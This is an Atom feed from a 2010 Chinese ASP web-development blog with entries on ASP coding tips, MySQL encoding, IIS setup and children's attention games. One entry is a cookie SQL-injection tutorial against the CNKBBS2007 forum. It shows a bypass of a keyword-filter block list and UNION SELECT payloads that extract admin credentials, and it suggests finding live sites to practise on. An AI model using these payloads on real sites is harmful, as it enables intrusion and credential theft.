<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[小鱼潜水]]></title>
  <subtitle type="html"><![CDATA[潜水小鱼，小鱼潜水]]></subtitle>
  <id>http://www.xqasp.cn/</id>
  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.xqasp.cn/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2010-02-28T22:06:52+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[asp防后退语句]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-02-28T22:06:52+08:00</updated>
	  <published>2010-02-28T22:06:52+08:00</published>
		  <summary type="html"><![CDATA[只这一句,放在页面的最上方,很有效.<br/><div class="UBBPanel quotePanel"><div class="UBBTitle"><img src="http://www.xqasp.cn/images/quote.gif" style="margin:0px 2px -3px 0px" alt="引用内容"/> 引用内容</div><div class="UBBContent">&lt;script&gt;window.history.forward();&lt;/script&gt;</div></div><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=441" /> 
	  <id>http://www.xqasp.cn/default.asp?id=441</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[判断输入框里是否是中文的函数asp代码]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-02-24T10:24:31+08:00</updated>
	  <published>2010-02-24T10:24:31+08:00</published>
		  <summary type="html"><![CDATA[Function isChineseword(getStr) &#39;判断是否为中文<br/> isChineseword=False <br/>&nbsp;&nbsp;strLen=Len(getStr) <br/> IF strLen=0 Then <br/>isChineseword=False<br/>Exit Function<br/>Else <br/>&#160;&#160;&#160;&#160;For i=1 To strLen<br/>IF Abs(Asc(Mid(getStr,i,1)))&lt;127 Then<br/>isChineseword=False&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;Exit Function<br/>&#160;&#160;&#160;&#160;End IF <br/>Next<br/>&#160;&#160;&#160;&#160;isChineseword=True <br/>End IF<br/>End Function<br/><br/>使用方法：isChineseword(email)=True 说明email是中文，反之为英文或数字<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=440" /> 
	  <id>http://www.xqasp.cn/default.asp?id=440</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[asp MYSQL出现问号乱码的解决方法]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-02-23T15:48:57+08:00</updated>
	  <published>2010-02-23T15:48:57+08:00</published>
		  <summary type="html"><![CDATA[这样的问题是因为 <br/>数据库字符集,表字符集,字段字符集都设为：gbk_chinese_ci <br/><br/>注意数据库连接串里面的 Stmt=Set Names &#39;GBK&#39; ，一定要有这一句。 <br/><br/>下面是asp链接mysql的代码。请注意，后面有个GBK。这样就是指定链接的编码类型。根据你使用的数据 <br/>库编码类型。修改成你自己的。 <br/>ConnectionString =&#34;Driver={MySQL ODBC 3.51 <br/>Driver};Server=myserver;Database=mysql;User=myuser;password=mypassword;Option=3;Stmt=Set <br/>Names &#39;GBK&#39;&#34; <br/>如果使用高版本的mysql，经常出现这样的情况,中文经常为乱码；包括在php中。 <br/>参考的方法: <br/><br/>设置一下,mysql的字体. <br/>在mysql.ini加入 <br/>[mysql] <br/>default-character-set=gb2312 <br/>[client] <br/>default-character-set=gb2312 <br/>[mysqld] <br/>default-character-set=gb2312 //或gbk <br/>注册改了后,在改之前的数据库没有效果的.这些数据库目录下的db.opt文件的内容改为 <br/>default-character-set=gb2312 <br/>default-collation=gb2312_chinese_ci <br/>也可以这么做 <br/><br/>dim driverName,chs <br/>driverName=&#34;Driver={mysql odbc 3.51 <br/>driver};server=localhost;database=test;uid=loaer;pwd=123456;&#34; <br/>set conn=server.cr&#101;ateobject(&#34;adodb.connection&#34;) <br/>conn.open driverName <br/><br/>&#39;查询之前先执行下面这一句 <br/>set chs=conn.Execute(&#34;SET NAMES &#39;gb2312&#39;&#34;) <br/>&#39;查询数据库表 <br/>sql = &#34;Sel&#101;ct * FROM tb_commondata&#34; <br/>Set rs = conn.Execute(sql) ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=439" /> 
	  <id>http://www.xqasp.cn/default.asp?id=439</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ASP提取内容里面的图片地址]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-02-08T22:10:33+08:00</updated>
	  <published>2010-02-08T22:10:33+08:00</published>
		  <summary type="html"><![CDATA[把下面的代码复制到asp文件里，试试。<br/><div class="UBBPanel codePanel"><div class="UBBTitle"><img src="http://www.xqasp.cn/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">&lt;%&nbsp;&nbsp; <br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;content=&#34;&lt;IMG src=&#39;/ybbedita/UploadFile/20102821362168.jpg&#39; border=0&gt;&#34;<br/>regstr=&#34;.?[./\w-:]+.(gif|jpg)&#34;&nbsp;&nbsp; <br/>url=Replace(Replace(RegExp_Execute(regstr,content),&#34;&#39;&#34;,&#34;&#34;),&#34;&#34;&#34;&#34;,&#34;&#34;)&nbsp;&nbsp; <br/>array_url=split(url,&#34;|||&#34;)&nbsp;&nbsp; <br/>for&nbsp;&nbsp; i=0&nbsp;&nbsp; to&nbsp;&nbsp; ubound(array_url)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Response.Write(array_url(i)&amp;&#34;&lt;br&gt;&#34;)&nbsp;&nbsp; <br/>fname=RegExp_Execute(&#34;w+.(jpg|gif)&#34;,array_url(i))&nbsp;&nbsp; <br/>Response.Write(Replace(fname,&#34;|||&#34;,&#34;&#34;))&nbsp;&nbsp; <br/>next&nbsp;&nbsp; <br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&#39;返回匹配值&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;Function&nbsp;&nbsp; RegExp_Execute(patrn,&nbsp;&nbsp; strng)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dim&nbsp;&nbsp; regEx,&nbsp;&nbsp; Match,&nbsp;&nbsp; Matches,values&nbsp;&nbsp; &#39;建立变量。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;&nbsp; regEx&nbsp;&nbsp; =&nbsp;&nbsp; New&nbsp;&nbsp; RegExp&nbsp;&nbsp; &#39;建立正则表达式。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;regEx.Pattern&nbsp;&nbsp; =&nbsp;&nbsp; patrn&nbsp;&nbsp; &#39;设置模式。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;regEx.IgnoreCase&nbsp;&nbsp; =&nbsp;&nbsp; true&nbsp;&nbsp; &#39;设置是否区分字符大小写。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;regEx.Global&nbsp;&nbsp; =&nbsp;&nbsp; True&nbsp;&nbsp; &#39;设置全局可用性。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;&nbsp; Matches&nbsp;&nbsp; =&nbsp;&nbsp; regEx.Execute(strng)&nbsp;&nbsp; &#39;执行搜索。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For&nbsp;&nbsp; Each&nbsp;&nbsp; Match&nbsp;&nbsp; in&nbsp;&nbsp; Matches&nbsp;&nbsp; &#39;遍历匹配集合。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;values=values&amp;Match.Value&amp;&#34;|||&#34;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Next&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegExp_Execute&nbsp;&nbsp; =&nbsp;&nbsp; values&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;End&nbsp;&nbsp; Function&nbsp;&nbsp; <br/>&#39;取得图片内容&nbsp;&nbsp; <br/>function&nbsp;&nbsp; getHTTPPage(url)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;on&nbsp;&nbsp; error&nbsp;&nbsp; resume&nbsp;&nbsp; next&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;&nbsp; http&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;&nbsp; http=server.cr&#101;ateobject(&#34;MSXML2.XMLHTTP&#34;)&#39;使用xmlhttp的方法来获得图片的内容&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Http.open&nbsp;&nbsp; &#34;GET&#34;,url,false&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Http.send()&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp; Http.readystate&lt;&gt;4&nbsp;&nbsp; then&nbsp;&nbsp;&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;&nbsp; function&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end&nbsp;&nbsp; if&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;getHTTPPage=Http.responseBody&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;&nbsp; http=nothing&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;&nbsp; err.number&lt;&gt;0&nbsp;&nbsp; then&nbsp;&nbsp; err.Clear&nbsp;&nbsp;&nbsp;&nbsp; <br/>end&nbsp;&nbsp; function&nbsp;&nbsp; <br/>&#39;保存图片&nbsp;&nbsp; <br/>function&nbsp;&nbsp; saveimage(from,tofile)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;On&nbsp;&nbsp; Error&nbsp;&nbsp; Resume&nbsp;&nbsp; Next&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dim&nbsp;&nbsp; geturl,objStream,imgs&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;geturl=trim(from)&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;imgs=getHTTPPage(geturl)&#39;取得图片的具休内容的过程&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set&nbsp;&nbsp; objStream&nbsp;&nbsp; =&nbsp;&nbsp; Server.Cr&#101;ateObject(&#34;ADODB.Stream&#34;)&#39;建立ADODB.Stream对象，必须要ADO&nbsp;&nbsp; 2.5以上版本&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objStream.Type&nbsp;&nbsp; =1&#39;以二进制模式打开&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objStream.Open&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objstream.write&nbsp;&nbsp; imgs&#39;将字符串内容写入缓冲&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objstream.SaveToFile&nbsp;&nbsp; server.mappath(tofile),2&#39;-将缓冲的内容写入文件&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objstream.Close()&#39;关闭对象&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;set&nbsp;&nbsp; objstream=nothing&nbsp;&nbsp; <br/>end&nbsp;&nbsp; function&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;<br/>%&gt;</div></div>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=436" /> 
	  <id>http://www.xqasp.cn/default.asp?id=436</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ Cookies的注入方法和原理]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-02-03T09:31:52+08:00</updated>
	  <published>2010-02-03T09:31:52+08:00</published>
		  <summary type="html"><![CDATA[　　现在很多网站都采用了通用防注入程序，那么对于这种网站，我门是否就束手无策了呢？答案是否定的，因为我们可以采用cookie 注入的方法，而很多通用防注入程序对这种注入方式都没有防备。<br/><br/>　　在讲之前,我们还是来回顾下ASP脚本中Request对象的知识吧,上面几讲中都提到Request对象获取客户端提交数据常用的是GET和POST二种方式,同时request对象可以不通过集合来获得数据,即直接使用&#34;request(&#34;name&#34;)&#34;但它的效率低下,容易出错,当我们省略具体的集合名称时,ASP是按QueryString,from,cookie,servervariable,集合的顺序来搜索的,在request对象成员中集合cookies,它的意思是&#34;读取用户系统发送的所有cookie值,我们从第二讲关于&#34;cookies欺骗入侵和原理&#34;中知道,cookies是保存在客户端计算机的一个文本文件,可以进行修改,这样一来,我们就可以使用Request.cookie方式来提交变量的值,从而利用系统的漏洞进行注入攻击.<br/><br/>　　我们首先还是来看看中网景论坛的最新版本&#34;(CNKBBS2007)中网景论坛2007v5.0 &#34;官方下载地址&#34;<a href="http://www.cnetking.com/websys2.asp?id=26" target="_blank" rel="external">http://www.cnetking.com/websys2.asp?id=26</a>&#34;发布时间是2007-06-06,打开系统的源代码后,在&#34;user_RxMsg_detail.asp&#34;文件中,有如下代码:<br/><br/>&lt;!--#include file=&#34;opendb.asp&#34; --&gt;<br/>(调用opendb.asp文件)<br/>&lt;!--#include file=&#34;char.asp&#34; --&gt;<br/>&lt;% <br/>Call CheckUserLogin(username)<br/>Dim action,s,id<br/>id=request(&#34;id&#34;) (获取客户提交的变量,并赋值给id,并没过滤,也没有指定采用那种方式提交)<br/>if id&lt;&gt;&#34;&#34; then Call IsNum(bid) (这是程序员的出现地方,注意bid&lt;&gt;id)<br/>conn.execute(&#34;up&#100;ate cnk_Users_RxMsg set readed=1 wh&#101;re id=&#34;&amp;id) ’设置已读<br/>rs.open &#34;sel&#101;ct * from cnk_users_RxMsg wh&#101;re id=&#34;&amp;id,conn,1,3 <br/><br/><br/>我们再打开&#34;opendb.asp&#34;文件<br/><br/>&lt;%Option Explicit<br/>Response.Buffer = true%&gt;<br/>&lt;!--#include file=&#34;fzr.asp&#34; --&gt; (调用fzr.asp文件)<br/>&lt;!--#include file=&#34;cnkdata/dbname.asp&#34; --&gt;<br/>&lt;!--#include file=&#34;config.asp&#34;--&gt;<br/>.................. <br/><br/><br/><br/>以现它是连接数据库的文件,其中调用了fzr.asp文件,我们再打开fzr.asp文件<br/><br/><br/>&lt;%<br/>’--------版权说明------------------<br/>’SQL通用防注入程序<br/>’Aseanleung<br/>’--------定义部份------------------<br/>Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr<br/>Dim fso1,all_tree2,file1,files,filez,fs1,zruserip<br/>If Request.QueryString&lt;&gt;&#34;&#34; Then (对Request.QueryString提交(客户采用GET方式提交)的数据进行判断,并没有指明对其它方式提交的数据进行判断)<br/>’自定义需要过滤的字串,用 &#34;|&#34; 分隔<br/>Fy_In = &#34;’|;|%|*|and|exec|ins&#101;rt|sel&#101;ct|del&#101;te|up&#100;ate|count|chr|mid|master|truncate|char|declare|script&#34; (阻止了常用的SQL注入的语句)<br/>Fy_Inf = split(Fy_In,&#34;|&#34;)<br/>For Each Fy_Get In Request.QueryString<br/>For Fy_Xh=0 To Ubound(Fy_Inf)<br/>If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))&lt;&gt;0 Then<br/>zruserip=Request.ServerVariables(&#34;HTTP_X_FORWARDED_FOR&#34;) <br/>If zruserip=&#34;&#34; Then zruserip=Request.ServerVariables(&#34;REMOTE_ADDR&#34;)<br/>Response.Write &#34;内容含有非法字符！请不要有’或and或or等字符，请去掉这些字符再发！！&lt;br&gt;&#34;<br/>Response.Write &#34;如是要攻击网站，系统记录了你的操作↓&lt;br&gt;&#34;<br/>Response.Write &#34;操作ＩＰ：&#34;&amp;zruserip&amp;&#34;&lt;br&gt;&#34;<br/>Response.Write &#34;操作时间：&#34;&amp;Now&amp;&#34;&lt;br&gt;&#34;<br/>Response.Write &#34;操作页面：&#34;&amp;Request.ServerVariables(&#34;URL&#34;)&amp;&#34;&lt;br&gt;&#34;<br/>Response.Write &#34;提交方式：ＧＥＴ&lt;br&gt;&#34;<br/>Response.Write &#34;提交参数：&#34;&amp;Fy_Get&amp;&#34;&lt;br&gt;&#34;<br/>Response.Write &#34;提交数据：&#34;&amp;Request.QueryString(Fy_Get)<br/>...................... <br/>很明显的看出它是一个SQL通用防注入程序文件,(以上的红字是对代码的解释)<br/><br/>代码看好了,我们来整理下思路:由于程序员的出错,导致了id没有被过滤就被带到SQL语句中查询,这是注入漏洞产生的原因,虽然程序引入了防注入程序,阻止了常用的SQL语句使用,但只对客户采用GET方式提交的数据进行判断,而没有对其它方式提交的数据进行判断,这样导致了客户可以使用Request.cookie方式来提交变量的值,而绕过了SQL防注入程序(总结下:cookie注入产生的条件:系统直接使用&#34;request(&#34;name&#34;)&#34;获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie,现在防注入程序3.0只是对客户采用GET和POST提交方式进行了限制).<br/><br/>原理讲好了,下面我们来学学coolie注入语句吧<br/><br/>cookies的注入语句:alert(document.cookie=&#34;id=&#34;+escape(&#34;这就是asp? id=xx后面xx代表的数值) and (这里是注入攻击代码)&#34;));<br/><br/>这儿用到了javascript语言的知识,我把这语句的意思分解如下,以便大家理解:<br/><br/>1:&#34;alert()&#34;显示信息对话框的alert()方法,它生成的是一个独立的小窗口,称作对话框,用来显示一条信息和一个按钮.(我们在跨站中常用到)<br/><br/>2:&#34;document.cookie&#34;我们在处理cookie时,javascript将它保存为document对象的一个属性,其属性名称是cookie,利用这个属性,我们可以创建和读取cookie数据,在程序中可以使用:&#34;alert(document.cookie)&#34;调用当前页面的cookie数据项值.在我们启动浏览器打开页面后,如果存在相应的cookie,那么它被装入到document对象的cookie属性中,document.cookie属性采用name=value对应方式保存各个cookie数据项值.document(文档)对象表示在浏览器里显示的HTML(向页面输出数据),cookie属性是允许读写HTTP的cookie;字符串类型<br/><br/>4:escape()函数;它将字符串中所有的非字母字符转换为用字母数字表示的等价字符串,具有编码字符串的功能.一般情况下,cookie通常由服务器端的程序通过HTTP请求和响应头发送给浏览器,但是,利用javascript,可以在本地浏览器中设置cookie格式:name=value的属性是指定cookie数据项的名称,value是该名称对应的值,它是一个字符串,也可是由一系列字符组成,name和value中不能包含分号,逗号及空白,(50&#34;and 1=1&#34;)有分号,逗号及空白,所以我们要用到escape()函数对他们进行编码<br/><br/>上面整句的意思大家都明白了吧,就是设置调用当前创建的cookie数据项值,在设置cookie时,它们首先保存在浏览器的内存中,退出浏览器时,才能被写入到硬盘中.(这就是在下面操作中为什么在退出后,再输入链接的地址原因)<br/><br/>最后我们来测试下,利用步骤:<br/><br/>1:打开在本地机子上架设的中网景论坛:注册一个用户,我们就会收到管理员发来的一条短信息,我们打开短信息的链接(注意这儿的参数id值)<br/><br/>2:把浏览器的URL清空,输入&#34;alert(document.cookie=&#34;id=&#34;+escape(&#34;相应参数id值 and 1=1&#34;));之后会弹出一个框框,<br/><br/>3:再次输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank" rel="external">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员(返回正常的页面,说明我们绕过了SQL防注入程序了)<br/><br/>3:再输入:alert(document.cookie=&#34;id=&#34;+escape(&#34;1 and 1=2&#34;));然后再输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank" rel="external">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员(时间和内容都没有显示了,说明我们可以进行注入了)<br/><br/>4:通过查看系统数据库,得知cnk_users_RxMsg 表里有8个字段,Cnk_Admin表是存放管理员资料的,其中AdminName,AdminPassword字段分别对应的是账号和密码,我们使用联合查询语句,再输入:alert(document.cookie=&#34;id=&#34;+escape(&#34;1 and 1=2 union sel&#101;ct 1,2,3,4,5,6,7,8 from Cnk_Admin&#34;))然后把地址栏清空,输入<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp" target="_blank" rel="external">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp</a>,可经看到显示了数字4和5<br/><br/>5:再次把地址栏清空,输入:alert(document.cookie=&#34;id=&#34;+escape(&#34;1 and 1=2 union sel&#101;ct 1,2,3,AdminName,AdminPassword,6,7,8 from Cnk_Admin&#34;)),提交后,清空地址栏,输入:<a href="http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=" target="_blank" rel="external">http://127.0.0.1/cnkbbs5.2_ac/user_RxMsg_detail.asp?username=</a>论坛管理员,这样我们就在页面上看到管理员的密码和账号了<br/><br/>6:把得到的密码放入<a href="http://www.cmd5.com" target="_blank" rel="external">http://www.cmd5.com</a>网站查询,得知管理员的明文密码是admin,在网站的首页我们就可进行登录后台了,我们也可利用关键字&#34;Powered by CNKBBS2007 （5.2）&#34;去网上找使用这系统的网站,(不过不是很多啊)大家去练习下手工的注入吧,可别搞在破坏哟!不过在使用这类注入时,它需要两次手动操作才能完成,这也是容易出错的地方,可要细心才行.<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=435" /> 
	  <id>http://www.xqasp.cn/default.asp?id=435</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[解决安装IIS时提示找不到zClientm.exe文件的问题]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-01-29T14:51:20+08:00</updated>
	  <published>2010-01-29T14:51:20+08:00</published>
		  <summary type="html"><![CDATA[常常重装系统，因为装XP系统，网站测试时需要装IIS，但每次从网上下载来的组件包安装时总提示找不到zClientm.exe文件，后来在网上查找资料时，看到原来是“游戏”的原因。<br/><br/>首要先搞清楚zClientm.exe是什么文件,上网搜了搜.得到的答案是:zClient.exe是微软Microsoft游戏中心程序，用于使你在线玩游戏。 <br/><br/>在Windows组件安装栏里有附件和工具.在组件安装向导中顺着[附件和工具]--[游戏]，把这[游戏]前的选择框里的那个勾去掉,然后再安装IIS,成功安装,问题解决! ]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=434" /> 
	  <id>http://www.xqasp.cn/default.asp?id=434</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[培养注意力的游戏]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=20" label="网络文摘" /> 
	  <updated>2010-01-25T14:32:08+08:00</updated>
	  <published>2010-01-25T14:32:08+08:00</published>
		  <summary type="html"><![CDATA[注意力不集中，易分心，是很多孩子具有的特点。年龄越小，控制注意力的时间越短，小学一年级的学生一次集中注意力时间至多也只有15分钟。这是由于孩子的神经系统发育还不够完善处在发育当中，注意力不集中这种情况将随着年龄的增长渐好转。而小学要求学生上课要坐40分钟，然而我们并不能被动地等待孩子的自我发育的完善，否则将影响学习效率及学习成绩。因此，对于注意力不易集中的孩子，可进行一定的具体训练，以提高注意力，适应课堂生活。有的孩子因为注意力的分配原因，经常会有抄错数字，写错字等等的情况，有时候家长和老师会责怪孩子粗心，其实，有的时候确实是因为他的注意力无法集中所造成的。所以在家里和学校，家长和老师可以适当的用一些小游戏，训练孩子的注意力，提高学习的效率。<br/><br/>1、玩扑克游戏。可锻炼注意力高度集中和快速反应能力。<br/><br/>取三张不同的牌（去掉花牌），随意排列于桌上，如从左到右依次是梅花2，黑桃3，方块5、选取一张要记住的牌，如梅花2，让她盯住这张牌，然后把三张牌倒扣在桌上，由家长随意更换三张牌的位置，然后，让她报出梅花2在哪儿。如她说猜对了，就胜，两人轮换做游戏。随着能力的提高，家长可以增加难度，如增加牌的数量，变换牌的位置的次数和提高变换牌位置的。<br/><br/>2、萝卜蹲。可以训练注意力的敏捷性。<br/><br/>将孩子分成人数相等的三组，一组代表红萝卜，一组代表白萝卜，一组代表黄萝卜。老师喊口令：“红萝卜蹲，黄萝卜蹲，白萝卜不蹲。”喊哪一组蹲，哪一组要快速蹲下。喊另一组，前一组的孩子要快速站起。未按口令动作的孩子算失败。（也可以由孩子来发令）<br/><br/>3、大小西瓜。可破除思维的定式和思维惯性。<br/><br/>小朋友站成圈。老师指定一个孩子当排头，说“大西瓜”，但两手比成小西瓜的样子；接着第二个孩子说：“小西瓜”，但两手比成大西瓜的样子，依次直到最后一人。<br/><br/>4、反口令游戏。可破除思维的定式和思维惯性。<br/><br/>老师说一个口令，学生按照发口令做动作。例如说：向前一步走，那学生就做向后一步退。<br/><br/>5、圈字游戏，可训练视觉的注意力。<br/><br/>很多很多的数的数表，然后让学生把下列数字7全部打圈。例如：<br/>359156936982452365023665253622602369500<br/>907472002582058205820581242563514252123<br/>......<br/><br/>6、摸纽扣。可训练触觉注意力。<br/><br/>找一堆二眼和四眼的纽扣，让孩子蒙上眼睛将纽扣分分类，可以让他们在触摸纽扣的同时，训练注意力。<br/><br/>还有许多体育活动需要孩子高度集中注意力才能完成，如，走平衡木、打乒乓球、跳绳等。让孩子多参加这类活动，能够促进他们神经系统的成熟和控制能力的发展，从而提高注意力。当然，这些活动必须简单短小、富有趣味，才能吸引孩子的参与，从而达到训练的目的。<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.xqasp.cn/article.asp?id=432" /> 
	  <id>http://www.xqasp.cn/default.asp?id=432</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[网页上下拉菜单穿过弹出层的解决办法]]></title>
	  <author>
		 <name>jiaming</name>
		 <uri>http://www.xqasp.cn/</uri>
		 <email>isolitary@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.xqasp.cn/default.asp?cateID=4" label="建站技巧" /> 
	  <updated>2010-01-21T11:33:48+08:00</updated>
	  <published>2010-01-21T11:33:48+08:00</published>
